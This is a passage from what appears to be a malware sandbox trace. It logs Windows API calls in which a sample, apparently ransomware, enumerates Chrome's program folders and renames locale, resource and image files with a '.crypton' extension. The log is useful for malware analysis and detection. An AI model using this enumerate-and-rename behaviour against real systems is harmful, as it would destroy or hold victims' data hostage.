"c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\da.pak"), lpNewFileName="C:\\\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\da.pak.crypton" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\da.pak.crypton"), dwFlags=0x2) returned 1 [0166.212] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\de.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\de.pak"), lpNewFileName="C:\\\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\de.pak.crypton" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\de.pak.crypton"), dwFlags=0x2) returned 1 [0166.498] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\el.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\el.pak"), lpNewFileName="C:\\\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\el.pak.crypton" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\el.pak.crypton"), dwFlags=0x2) returned 1 [0166.654] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\en-GB.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\en-gb.pak"), lpNewFileName="C:\\\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\en-GB.pak.crypton" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\en-gb.pak.crypton"), dwFlags=0x2) returned 1 [0166.809] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\en-US.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\en-us.pak"), lpNewFileName="C:\\\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\en-US.pak.crypton" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\en-us.pak.crypton"), dwFlags=0x2) returned 1 [0167.020] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\es-419.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\es-419.pak"), lpNewFileName="C:\\\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\es-419.pak.crypton" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\es-419.pak.crypton"), dwFlags=0x2) returned 1 [0167.228] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\es.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\es.pak"), lpNewFileName="C:\\\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\es.pak.crypton" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\es.pak.crypton"), dwFlags=0x2) returned 1 [0167.393] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\et.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\et.pak"), lpNewFileName="C:\\\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\et.pak.crypton" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\et.pak.crypton"), dwFlags=0x2) returned 1 [0167.855] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\fa.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\fa.pak"), lpNewFileName="C:\\\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\fa.pak.crypton" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\fa.pak.crypton"), dwFlags=0x2) returned 1 [0168.078] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\fi.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\fi.pak"), lpNewFileName="C:\\\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\fi.pak.crypton" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\fi.pak.crypton"), dwFlags=0x2) returned 1 [0168.278] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\fil.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\fil.pak"), lpNewFileName="C:\\\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\fil.pak.crypton" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\fil.pak.crypton"), dwFlags=0x2) returned 1 [0168.484] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\fr.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\fr.pak"), lpNewFileName="C:\\\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\fr.pak.crypton" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\fr.pak.crypton"), dwFlags=0x2) returned 1 [0168.794] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\gu.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\gu.pak"), lpNewFileName="C:\\\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\gu.pak.crypton" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\gu.pak.crypton"), dwFlags=0x2) returned 1 [0169.025] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\he.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\he.pak"), lpNewFileName="C:\\\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\he.pak.crypton" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\he.pak.crypton"), dwFlags=0x2) returned 1 [0169.329] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\hi.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\hi.pak"), lpNewFileName="C:\\\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\hi.pak.crypton" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\hi.pak.crypton"), dwFlags=0x2) returned 1 [0169.506] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\hr.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\hr.pak"), lpNewFileName="C:\\\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\hr.pak.crypton" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\hr.pak.crypton"), dwFlags=0x2) returned 1 [0169.943] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\hu.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\hu.pak"), lpNewFileName="C:\\\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\hu.pak.crypton" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\hu.pak.crypton"), dwFlags=0x2) returned 1 [0170.123] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\id.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\id.pak"), lpNewFileName="C:\\\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\id.pak.crypton" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\id.pak.crypton"), dwFlags=0x2) returned 1 [0170.313] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\it.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\it.pak"), lpNewFileName="C:\\\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\it.pak.crypton" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\it.pak.crypton"), dwFlags=0x2) returned 1 [0170.543] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\ja.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\ja.pak"), lpNewFileName="C:\\\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\ja.pak.crypton" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\ja.pak.crypton"), dwFlags=0x2) returned 1 [0170.823] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\kn.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\kn.pak"), lpNewFileName="C:\\\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\kn.pak.crypton" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\kn.pak.crypton"), dwFlags=0x2) returned 1 [0171.018] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\ko.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\ko.pak"), lpNewFileName="C:\\\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\ko.pak.crypton" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\ko.pak.crypton"), dwFlags=0x2) returned 1 [0171.335] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\lt.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\lt.pak"), lpNewFileName="C:\\\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\lt.pak.crypton" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\lt.pak.crypton"), dwFlags=0x2) returned 1 [0171.586] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\lv.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\lv.pak"), lpNewFileName="C:\\\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\lv.pak.crypton" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\lv.pak.crypton"), dwFlags=0x2) returned 1 [0172.019] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\ml.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\ml.pak"), lpNewFileName="C:\\\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\ml.pak.crypton" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\ml.pak.crypton"), dwFlags=0x2) returned 1 [0172.321] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\mr.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\mr.pak"), lpNewFileName="C:\\\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\mr.pak.crypton" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\mr.pak.crypton"), dwFlags=0x2) returned 1 [0172.466] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\ms.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\ms.pak"), lpNewFileName="C:\\\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\ms.pak.crypton" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\ms.pak.crypton"), dwFlags=0x2) returned 1 [0172.636] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\nb.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\nb.pak"), lpNewFileName="C:\\\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\nb.pak.crypton" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\nb.pak.crypton"), dwFlags=0x2) returned 1 [0172.820] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\nl.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\nl.pak"), lpNewFileName="C:\\\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\nl.pak.crypton" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\nl.pak.crypton"), dwFlags=0x2) returned 1 [0173.010] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\pl.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\pl.pak"), lpNewFileName="C:\\\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\pl.pak.crypton" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\pl.pak.crypton"), dwFlags=0x2) returned 1 [0173.213] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\pt-BR.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\pt-br.pak"), lpNewFileName="C:\\\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\pt-BR.pak.crypton" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\pt-br.pak.crypton"), dwFlags=0x2) returned 1 [0173.400] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\pt-PT.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\pt-pt.pak"), lpNewFileName="C:\\\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\pt-PT.pak.crypton" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\pt-pt.pak.crypton"), dwFlags=0x2) returned 1 [0173.611] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\ro.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\ro.pak"), lpNewFileName="C:\\\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\ro.pak.crypton" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\ro.pak.crypton"), dwFlags=0x2) returned 1 [0173.972] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\ru.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\ru.pak"), lpNewFileName="C:\\\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\ru.pak.crypton" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\ru.pak.crypton"), dwFlags=0x2) returned 1 [0174.187] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\sk.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\sk.pak"), lpNewFileName="C:\\\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\sk.pak.crypton" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\sk.pak.crypton"), dwFlags=0x2) returned 1 [0174.369] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\sl.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\sl.pak"), lpNewFileName="C:\\\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\sl.pak.crypton" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\sl.pak.crypton"), dwFlags=0x2) returned 1 [0174.662] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\sr.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\sr.pak"), lpNewFileName="C:\\\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\sr.pak.crypton" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\sr.pak.crypton"), dwFlags=0x2) returned 1 [0174.831] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\sv.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\sv.pak"), lpNewFileName="C:\\\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\sv.pak.crypton" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\sv.pak.crypton"), dwFlags=0x2) returned 1 [0174.990] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\sw.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\sw.pak"), lpNewFileName="C:\\\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\sw.pak.crypton" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\sw.pak.crypton"), dwFlags=0x2) returned 1 [0175.284] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\ta.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\ta.pak"), lpNewFileName="C:\\\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\ta.pak.crypton" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\ta.pak.crypton"), dwFlags=0x2) returned 1 [0175.570] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\te.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\te.pak"), lpNewFileName="C:\\\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\te.pak.crypton" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\te.pak.crypton"), dwFlags=0x2) returned 1 [0176.201] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\th.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\th.pak"), lpNewFileName="C:\\\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\th.pak.crypton" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\th.pak.crypton"), dwFlags=0x2) returned 1 [0176.458] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\tr.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\tr.pak"), lpNewFileName="C:\\\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\tr.pak.crypton" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\tr.pak.crypton"), dwFlags=0x2) returned 1 [0176.749] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\uk.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\uk.pak"), lpNewFileName="C:\\\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\uk.pak.crypton" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\uk.pak.crypton"), dwFlags=0x2) returned 1 [0176.962] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\vi.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\vi.pak"), lpNewFileName="C:\\\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\vi.pak.crypton" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\vi.pak.crypton"), dwFlags=0x2) returned 1 [0177.125] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\zh-CN.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\zh-cn.pak"), lpNewFileName="C:\\\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\zh-CN.pak.crypton" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\zh-cn.pak.crypton"), dwFlags=0x2) returned 1 [0177.289] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\zh-TW.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\zh-tw.pak"), lpNewFileName="C:\\\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\zh-TW.pak.crypton" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\zh-tw.pak.crypton"), dwFlags=0x2) returned 1 [0177.524] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\natives_blob.bin" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\natives_blob.bin"), lpNewFileName="C:\\\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\natives_blob.bin.crypton" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\natives_blob.bin.crypton"), dwFlags=0x2) returned 1 [0177.862] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\resources.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\resources.pak"), lpNewFileName="C:\\\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\resources.pak.crypton" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\resources.pak.crypton"), dwFlags=0x2) returned 1 [0178.159] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\snapshot_blob.bin" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\snapshot_blob.bin"), lpNewFileName="C:\\\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\snapshot_blob.bin.crypton" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\snapshot_blob.bin.crypton"), dwFlags=0x2) returned 1 [0178.166] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\VisualElements\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d78b680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xe78e6360, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xe78e6360, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549850 [0178.176] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\VisualElements\\logo.png" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\visualelements\\logo.png"), lpNewFileName="C:\\\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\VisualElements\\logo.png.crypton" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\visualelements\\logo.png.crypton"), dwFlags=0x2) returned 1 [0178.197] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\VisualElements\\logocanary.png" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\visualelements\\logocanary.png"), lpNewFileName="C:\\\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\VisualElements\\logocanary.png.crypton" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\visualelements\\logocanary.png.crypton"), dwFlags=0x2) returned 1 [0178.205] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\VisualElements\\smalllogo.png" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\visualelements\\smalllogo.png"), lpNewFileName="C:\\\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\VisualElements\\smalllogo.png.crypton" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\visualelements\\smalllogo.png.crypton"), dwFlags=0x2) returned 1 [0178.212] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\VisualElements\\smalllogocanary.png" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\visualelements\\smalllogocanary.png"), lpNewFileName="C:\\\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\VisualElements\\smalllogocanary.png.crypton" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\visualelements\\smalllogocanary.png.crypton"), dwFlags=0x2) returned 1 [0178.218] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\WidevineCdm\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d78b680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xe7958780, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xe7958780, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549850 [0178.223] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\WidevineCdm\\_platform_specific\\*", lpFindFileData=0x4a96d0 | out: lpFindFileData=0x4a96d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d78b680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xe7958780, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xe7958780, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549890 [0178.227] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\WidevineCdm\\_platform_specific\\win_x64\\*", lpFindFileData=0x4a8d28 | out: 